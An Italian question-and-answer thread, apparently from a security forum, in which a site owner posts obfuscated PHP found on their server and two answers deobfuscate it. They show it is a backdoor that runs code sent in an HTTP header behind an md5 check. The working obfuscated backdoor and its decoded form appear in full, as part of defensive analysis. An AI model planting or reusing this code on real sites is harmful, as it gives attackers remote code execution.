Codice php offuscato trovato sul server

11

Ho trovato questo pezzo di codice ospitato sul mio sito Web, sono sicuro che sia un malware. Qualcuno ha un'idea di cosa fa questo script o come deobfuscare?

<?php
$nkIL3_='Hn'&~hTzup;$TTCpX='HEr@D@(DEi&'|'HD"AN'(T$I.';$fGZGQD2=l5fg.'{3Ht&d~'&'|,'./*'.
    'gri*/Nenwkf.'|3n';$u4avG3='K|P'^".<t";$n9s='om|wo~'&'om}e~~';$cX8W='O]P'^#gg_'.
    '#9e';$iPPiO='%'.q6nfB|sUuI.')6';$pU9KRba5mS='Ov~'&'x]U';$pGocQU=P&P;'GDQNB1wL'.
    ']lYd2GC]o';$SEAp9cm9=_a&_M;$CBiIA=iUVv_Z_UR_OOwCIP_iO&'^'.vTY_.'|'./*RKGtqf6J'.
    'Zc*/_Wu_DEVOcx_I.'}';$QjgmVTedxc="M@"|AE;$oyL1tNw='j3x s'^'.'.l9l6;$gI_Y=#Rsx'.
    ',)'^'~}';$pai4hk=$TTCpX|$fGZGQD2;$KaQhBHF8=$u4avG3|$cX8W;$Hz=$n9s&$iPPiO;'jH2'.
    '5r';$JeFqqp=(' '.bb3ra5.''14@#$11t&7G4-'.Bb6y.')% 92E '|'5gB9@!!qS%2B0%8W0!fC'.
    'X&v-'.Z16w0.'$u4')&("[email protected]^N0f*/".CkOjFNlm."&}Y|6EOA)VH"^'()9}'.rMw1.#udQP_'.
    '}ET]'.QtTxUq.'([YHM.@D2p:Si<');if(!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS./*yPL33m'.
    'Y,:(gnZ~9*/$pGocQU.$SEAp9cm9)),$JeFqqp))eval($Hz($CBiIA.$QjgmVTedxc./*X1lpmOJ'.
    '|-$J*/$oyL1tNw.$gI_Y));#d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
    '}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
    
posta calculataur 22.08.2014 - 11:53
fonte

2 risposte

11

È un modo molto offuscato per fare questo:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

Questo da solo non farà nulla finché qualcuno non visualizzerà la pagina con l'intestazione HTTP_X_UP_DEVCAP_IMMED_ALERT impostata, quindi il contenuto di questa intestazione verrà eseguito sulla tua pagina web. Sembra che qualcuno voglia eseguire codice, forse per una botnet.

Se sei interessato a questo codice, puoi vedere una versione su pastebin con un po 'più di formattazione e commenti sopra ogni riga con valori di variabili e chiamate di funzione ecc. Si prega di notare che ho commentato la chiamata eval per prevenire incidenti nel caso in cui mi sia sfuggito qualcosa (ma io ho capito tutto)

Modifica Ho messo una nuova versione su pastebin, in pratica questo è ciò che viene eseguito:

if(!levenshtein(md5(getenv(HTTP_A)), '4fb90a5a352c459767f74f0780779254'))
    eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

Importante

Sono quasi sicuro che c'è di più nel tuo spazio web, dovresti cercare davvero bene.

    
risposta data 22.08.2014 - 12:46
fonte
5

L'analisi del malware è divertente! Non l'ho fatto prima con PHP, ma vediamo cosa possiamo fare.

Per prima cosa, voglio formattarlo correttamente. Ho trovato uno strumento online chiamato phpbeautifier.com che funziona bene.

L'output è ora:

<?php
$nkIL3_ = 'Hn' & ~hTzup;
$TTCpX = 'HEr@D@(DEi&' | 'HD"AN'(eT$I.';
$fGZGQD2 = l5fg . '{3Ht&d~' & '|,' . /*'.
'gri*/
Nenwkf . '|3n';
$u4avG3 = 'K|P' ^ ".<t";
$n9s = 'om|wo~' & 'om}e~~';
$cX8W = 'O]P' ^ //gg_'.
'#9e';
$iPPiO = '%' . q6nfB | sUuI . ')6';
$pU9KRba5mS = 'Ov~' & 'x]U';
$pGocQU = P & P;
'GDQNB1wL' . ']lYd2GC]o';
$SEAp9cm9 = _a & _M;
$CBiIA = iUVv_Z_UR_OOwCIP_iO & '^' . vTY_ . '|' . /*RKGtqf6J'.
'Zc*/
_Wu_DEVOcx_I . '}';
$QjgmVTedxc = "M@" | AE;
$oyL1tNw = 'j3x s' ^ '.' . l9l6;
$gI_Y = //Rsx'.
',)' ^ '~}';
$pai4hk = $TTCpX | $fGZGQD2;
$KaQhBHF8 = $u4avG3 | $cX8W;
$Hz = $n9s & $iPPiO;
'jH2' . '5r';
$JeFqqp = (' ' . bb3ra5 . ''14@#$11t&7G4-' . Bb6y . ')% 92E ' | '5gB9@!!qS%2B0%8W0!fC' . 'X&v-' . Z16w0 . '$u4') & ("[email protected]^N0f*/" . CkOjFNlm . "&}Y|6EOA)VH" ^ '()9}' . rMw1 . //udQP_'.
'}ET]' . QtTxUq . '([YHM.@D2p:Si<');

if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS . /*yPL33m'.
'Y,:(gnZ~9*/
$pGocQU . $SEAp9cm9)) , $JeFqqp)) eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.
'|-$J*/
$oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';

Questo è veloce e sporco, ma nella quarta riga, vedrai una funzione eval. Ispezioniamo le variabili in questo in un editor php online, aggiungendo dichiarazioni di stampa. Sto eseguendo questo codice su un editor php online ( link :

...snip...
if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS .$pGocQU . $SEAp9cm9)) , $JeFqqp)) {
print($Hz);
print($CBiIA);
print($QjgmVTedxc);
print($oyL1tNw);
print($gI_Y);
eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.'|-$J*/ $oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
}
...snip...

Non riesco a ottenere tutti i valori correttamente, probabilmente perché non sto eseguendo lo script come inteded (browser).

Sono comunque in grado di determinare che la funzione eval effettua le seguenti operazioni:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT ...));

Questa è una strong indicazione che questo script è una backdoor, che consente all'aggressore di eseguire comandi sul server web aggiungendo i comandi nell'intestazione http HTTP_X_UP_DEVCAP_IMMED_ALERT.

    
risposta data 22.08.2014 - 12:41
fonte

Leggi altre domande sui tag